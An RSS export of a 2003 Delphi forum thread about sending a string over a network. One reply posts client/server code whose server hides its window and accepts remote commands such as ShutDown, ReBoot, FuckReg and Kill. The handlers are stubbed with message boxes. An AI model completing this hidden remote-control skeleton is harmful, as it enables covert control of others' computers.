<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257572</guid>
        <pubDate>Thu, 04 Dec 2003 14:00:13 +0000</pubDate>
        <title>Отправка буфера по сети</title>
        <link>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257572</link>
        <description><![CDATA[alexdosh:  может вот, что подойдет: <a href='http://www.delphimaster.ru/cgi-bin/faq.pl?look=1&id=991237103&n=20' target='_blank'>http://www.delphimaster.ru/cgi-bin/faq.pl?...</a> ]]></description>
        <author>alexdosh</author>
        <category>Delphi: Сетевое программирование</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257546</guid>
        <pubDate>Thu, 04 Dec 2003 13:34:30 +0000</pubDate>
        <title>Отправка буфера по сети</title>
        <link>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257546</link>
        <description><![CDATA[Mischka:  Да чат это не работает. (У меня Д7)<br>Буду искать еще теорию и слабые места... ]]></description>
        <author>Mischka</author>
        <category>Delphi: Сетевое программирование</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257469</guid>
        <pubDate>Thu, 04 Dec 2003 12:17:29 +0000</pubDate>
        <title>Отправка буфера по сети</title>
        <link>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257469</link>
        <description><![CDATA[alexdosh:  (*<br>Для Делфи 5<br>*)<br>{КЛИЕНТ}<br>unit Unit1;<br><br>interface<br><br>uses<br>  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>  Psock, NMMSG, StdCtrls;<br><br>type<br>  TfrmClient = class(TForm)<br>    clt_send: TNMMsg;<br>    serv_resiv: TNMMSGServ;<br>    edIP: TEdit;<br>    btnSend: TButton;<br>    cbCmd: TComboBox;<br>    Label1: TLabel;<br>    label2: TLabel;<br>    mOut: TMemo;<br>    procedure FormCreate(Sender: TObject);<br>    procedure btnSendClick(Sender: TObject);<br>    procedure serv_resivMSG(Sender: TComponent; const sFrom, sMsg: String);<br>  private<br>    { Private declarations }<br>  public<br>    { Public declarations }<br>  end;<br><br>var<br>  frmClient: TfrmClient;<br>  SPORT, RPORT: integer;<br>  RHOST: string;<br><br>implementation<br><br>{&#036;R *.DFM}<br><br>procedure TfrmClient.FormCreate(Sender: TObject);<br>begin<br>  SPORT:=6661;<br>  RPORT:=6660;<br>end;<br><br>procedure TfrmClient.btnSendClick(Sender: TObject);<br>var<br>  cmd: string;// command|parametr|dump|dump|dump<br>begin<br>(*<br>ShutDown<br>ReBoot<br>NetSend|text aKa Param<br>Change<br>Start|Param<br>Remember|Param //RememberCLNTip<br>FuckReg<br>StarExplorer<br>Exit<br>-CopyToAll<br>*)      <br>  if (edIP.text &lt;&gt; &#39;&#39;) and (cbCmd.Text &lt;&gt; &#39;&#39;)then<br>    begin<br>      RHOST := edIP.text;//LOCALHOST; //test<br>      cmd := cbCmd.text + &#39;|dump|dump|dump&#39;;<br>      //<br>      clt_send:=TNMMsg.Create(Self);<br>      clt_send.Host:=RHOST;<br>      clt_send.Port:=SPORT;<br>      clt_send.FromName:=&#39;Client&#39;;<br>      clt_send.PostIt(cmd);<br>      clt_send.Free;<br>    end<br>  else showmessage(&#39;&#33;Not enought actual parametrs&#33;&#39;);<br>end;<br><br>procedure TfrmClient.serv_resivMSG(Sender: TComponent; const sFrom,<br>  sMsg: String);<br>begin<br>  mOut.Clear;<br>  mOut.Lines.add(&#39;&lt;==|&#39;+chr(VK_TAB)+sFrom+chr(VK_TAB)+&#39;|==&gt;&#39;);<br>  mOut.text := mOut.text + sMsg;<br>  mOut.Lines.add(&#39;&lt;==|&#39;+chr(VK_TAB)+&#39;END&#39;+chr(VK_TAB)+&#39;|==&gt;&#39;);<br>end;<br><br>end.<br><br><br>{СЕРВЕР}<br>unit Unit1;<br><br>interface<br><br>uses<br>  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>  Psock, NMMSG, ExtCtrls, StdCtrls, KernlUtl, inifiles, shellapi, Registry,<br>  TlHelp32, WinSock;<br><br>Function GetWinPath:String;<br>Function GetExePath:string;<br><br>type<br>  TfrmServ = class(TForm)<br>    clt_send: TNMMsg;<br>    serv_resiv: TNMMSGServ;<br>    procedure FormCreate(Sender: TObject);<br>    procedure serv_resivMSG(Sender: TComponent; const sFrom, sMsg: String);<br>    procedure serv_resivClientContact(Sender: TObject);<br>    procedure FormActivate(Sender: TObject);<br>    procedure FormDestroy(Sender: TObject);<br>    procedure FormKeyDown(Sender: TObject; var Key: Word;<br>      Shift: TShiftState);<br>  private<br>    { Private declarations }<br>  public<br>    { Public declarations }<br>  end;<br><br>const<br>  LOCALHOST = &#39;127.0.0.1&#39;;<br><br>var<br>  frmServ: TfrmServ;<br>  RHOST: String;<br>  SPORT, RPORT: integer;<br><br>implementation<br><br>{&#036;R *.DFM}<br>(**)<br>//....<br>procedure StrDiv(str:string; var txt,path,zakladka,comPort,startMtd:string);<br>var<br>i,j,len_str:integer;<br>jmp:byte;<br>begin<br>jmp:=0;<br>//str:=str+&#39;.&#39;;<br>len_str:=length(str);<br>for i:=1 to len_str do begin<br> if (str[i]=&#39;|&#39;) then begin<br> inc(jmp);<br>  if (jmp=1) then begin<br>  txt:=copy(str,0,i-1);<br>  j:=i+1;<br>                  end;<br>   if (jmp=2) then begin<br>    path:=copy(str,j,i-j);<br>    j:=i+1;<br>                   end;<br>    if (jmp=3) then begin<br>     zakladka:=copy(str,j,i-j);<br>     j:=i+1;<br>                    end;<br>     if (jmp=4) then begin<br>      comPort:=copy(str,j,i-j);<br>      j:=i+1;<br>                     end;<br>      if (jmp=5) then begin<br>       startMtd:=copy(str,j,i-j);<br>                      end;<br>                      end;<br>                       end;<br>end;<br>//<br><br>Function GetSelfIP: string;<br>var<br>  WSAData : TWSAData;<br>  p : PHostEnt;<br>  Name : array [0..&#036;FF] of Char;<br>begin  WSAStartup(&#036;0101, WSAData);<br>  GetHostName(name, &#036;FF);<br>  p := GetHostByName(Name);<br>  Result := inet_ntoa(PInAddr(p.h_addr_list^)^);<br>  WSACleanup;<br>end;<br>(**)<br><br>procedure TfrmServ.FormCreate(Sender: TObject);<br>begin<br>  frmServ.Width := 0;<br>  frmServ.Height := 0;<br>  SPORT := 6660;<br>  RPORT := 6661;<br>  RHOST := &#39;192.168.0.1&#39;;<br>end;<br><br>(*<br>//RHOST := LOCALHOST; //test<br>//Послать по сети<br>{<br>clt_send:=TNMMsg.Create(Self);<br>clt_send.Host:=RHOST;<br>clt_send.Port:=SPORT;<br>clt_send.FromName:=&#39;Client&#39;;<br>clt_send.PostIt(strMsg);<br>clt_send.Free;<br>}<br>*)<br>procedure TfrmServ.serv_resivMSG(Sender: TComponent; const sFrom,<br>  sMsg: String);<br>(*/&#092;*)<br>//<br>procedure Errore(code: byte);<br>var<br> err: string;<br>begin<br>err := &#39;&#39;;<br>  case code of<br>    0: err := &#39;Нормально&#39;;<br>    1: err := &#39;SendText не работает&#39;;<br>    2: err := &#39;Kill не работает&#39;;<br>    3: err := &#39;&#39;;<br>    255: err := &#39;&#39;;<br>  else<br>    err := &#39;Не нормально&#39;;<br>  end;<br>  if code &lt;&gt; 0 then begin<br>    clt_send := TNMMsg.Create(Self);<br>    clt_send.Host := RHOST;<br>    clt_send.Port := SPORT;<br>    clt_send.FromName := GetSelfIP;<br>    clt_send.PostIt(err);<br>    clt_send.Free;<br>  end;<br>end;<br>//<br>  Function SendText(str: string; text:TStringList):byte;<br>  begin<br>   if(str &lt;&gt; &#39;&#39;)then<br>     begin<br>       clt_send := TNMMsg.Create(Self);<br>       clt_send.Host := RHOST;<br>       clt_send.Port := SPORT;<br>       clt_send.FromName := GetSelfIP;<br>       clt_send.PostIt(str);<br>       clt_send.Free;<br>       result := 0;<br>     end<br>   else<br>     if(text &lt;&gt; nil)then<br>       begin<br>         clt_send := TNMMsg.Create(Self);<br>         clt_send.Host := RHOST;<br>         clt_send.Port := SPORT;<br>         clt_send.FromName := GetSelfIP;<br>         clt_send.PostIt(text.Text);<br>         clt_send.Free;<br>         result := 0;<br>       end<br>     else  result := 1;<br>  end;<br>//<br><br>//<br>(*/&#092;*)<br>var<br>  command,param,dump,tmp:string;<br>  PSList: TStringList;<br>//<br>  Wnd : hWnd;<br>  buff: ARRAY [0..127] OF Char;<br>  PID:DWORD;<br>  i,j:integer;<br>  pStr:String;<br>  snapShot:THandle;<br><br>begin<br>PSList := TStringList.Create;<br>(*<br>ShutDown<br>ReBoot<br>NetSend(text aKa Param)<br>Change<br>Start(Param)<br>Remember(Param)<br>FuckReg<br>StarExplorer<br>Exit<br>ps<br>Kill(Param)<br>*)<br>Command := &#39;&#39;;<br>param := &#39;&#39;;<br>tmp := sMsg+&#39;|&#39;;<br>StrDiv(tmp,Command,Param,dump,dump,dump);<br>if Command=&#39;ShutDown&#39; then showmessage(&#39;ShutDown&#39;)<br>else if Command=&#39;ReBoot&#39; then showmessage(&#39;ReBoot&#39;)<br>  else if Command=&#39;NetSend&#39; then showmessage(Param)<br>    else if Command=&#39;Change&#39; then showmessage(&#39;Change&#39;)<br>      else if Command=&#39;Start&#39; then showmessage(&#39;Starter( &#39; + Param + &#39; )&#39;)<br>        else if Command=&#39;Remember&#39; then showmessage(&#39;RememberCLNTip( &#39;+ Param +&#39; )&#39;)  <br>          else if Command=&#39;FuckReg&#39; then showmessage(&#39;FuckReg&#39;)<br>            else if Command=&#39;StarExplorer&#39; then showmessage(&#39;StarExplorer&#39;)<br>              else if Command=&#39;Exit&#39; then Application.MainForm.Close<br>                else if Command=&#39;ps&#39; then showmessage(&#39;ps&#39;);<br>end;<br><br><br>procedure TfrmServ.serv_resivClientContact(Sender: TObject);<br>begin<br>  serv_resiv.ReportLevel := Status_Basic;<br>end;<br><br>procedure TfrmServ.FormActivate(Sender: TObject);<br>begin<br> ShowWindow(Application.Handle,sw_Hide);<br>end;<br><br>procedure TfrmServ.FormDestroy(Sender: TObject);<br>begin<br>  serv_resiv.Free;<br>end;<br><br>procedure TfrmServ.FormKeyDown(Sender: TObject; var Key: Word;<br>  Shift: TShiftState);<br>begin<br><br>end;<br><br>end.<br><br>Я повырезал некоторые функции так что может кое что будет ругаться, но пересылка строк должна работать&#33; ПОСМОТРИ ПРИМЕРЫ ПРОГРАММ С ДЕЛФИ&#33;&#33;&#33;&#33;&#33;ТАМ ДОЛЖЕН БЫТЬ ЧАТ... ]]></description>
        <author>alexdosh</author>
        <category>Delphi: Сетевое программирование</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257455</guid>
        <pubDate>Thu, 04 Dec 2003 12:05:39 +0000</pubDate>
        <title>Отправка буфера по сети</title>
        <link>https://forum.sources.ru/index.php?showtopic=39737&amp;view=findpost&amp;p=257455</link>
        <description><![CDATA[Mischka:  SUBJ.<br>Хотел писать на WinAPI. Тяжело так сразу, решил использовать компоненты. Скачал кучу статей про сокеты, прочитал, разобрался. Написал код - не работает. Лучшее, чего удалось добиться - отсутствие run-time error и сообщения клиента и сервера о передаче информации, а самой информации нету <!--emo&:(--><img src='http://forum.sources.ru/html/emoticons/sad.gif' border='0' style='vertical-align:middle' alt='sad.gif' /><!--endemo--><br><br>Люди, дайте <span style='color:red'>любой</span> (работающий) пример пересылки содержимого строки S по сетке с IP<span style='font-size:8pt;line-height:100%'>1 </span>на IP<span style='font-size:8pt;line-height:100%'>2</span> ]]></description>
        <author>Mischka</author>
        <category>Delphi: Сетевое программирование</category>
      </item>
	
      </channel>
      </rss>
	